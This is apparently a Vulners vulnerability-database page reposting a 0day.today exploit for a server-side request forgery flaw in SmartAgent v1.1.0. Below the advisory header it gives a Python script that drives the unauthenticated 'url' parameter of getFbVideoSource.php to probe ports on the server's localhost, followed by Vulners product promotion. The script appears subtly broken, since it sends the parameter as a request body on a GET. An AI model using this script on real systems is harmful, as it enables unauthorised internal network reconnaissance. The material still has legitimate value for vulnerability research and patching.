Lucene search
K

SmartAgent 1.1.0 Server-Side Request Forgery Vulnerability

🗓️ 06 Nov 2024 00:00:00Reported by Alter PrimeType 
zdt
 zdt
🔗 0day.today👁 268 Views

SmartAgent v1.1.0 SSRF Vulnerability, Unauthenticated user triggers web server to perform requests to localhos

Code
# Exploit Title: SmartAgent v1.1.0 - Server-Side Request Forgery (SSRF)
# Exploit Author: Alter Prime
# Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com
# Version: Build v1.1.0
# Tested on: Kali Linux

An unauthenticated user can trigger the web server to perform web requests to the localhost via a GET request to the vulnerable script  https://smarts-srlcom.com/FB/getFbVideoSource.php?url=http://127.0.0.1:80.

The GET request includes the vulnerable parameter "url".


Steps To Reproduce:
1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0


#Python Exploit

import requests

url = "https://smartagent.[client].com/FB/getFbVideoSource.php"
port = input("Enter the port you want to check: ")

parameter = {
  "url": "http://127.0.0.1:" + port
}

response = requests.get(url, data=parameter, verify=False)

if response.status_code == 200:
    print(f"Port {port} is open on the server")
else:
    print(f"Port {port} closed")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation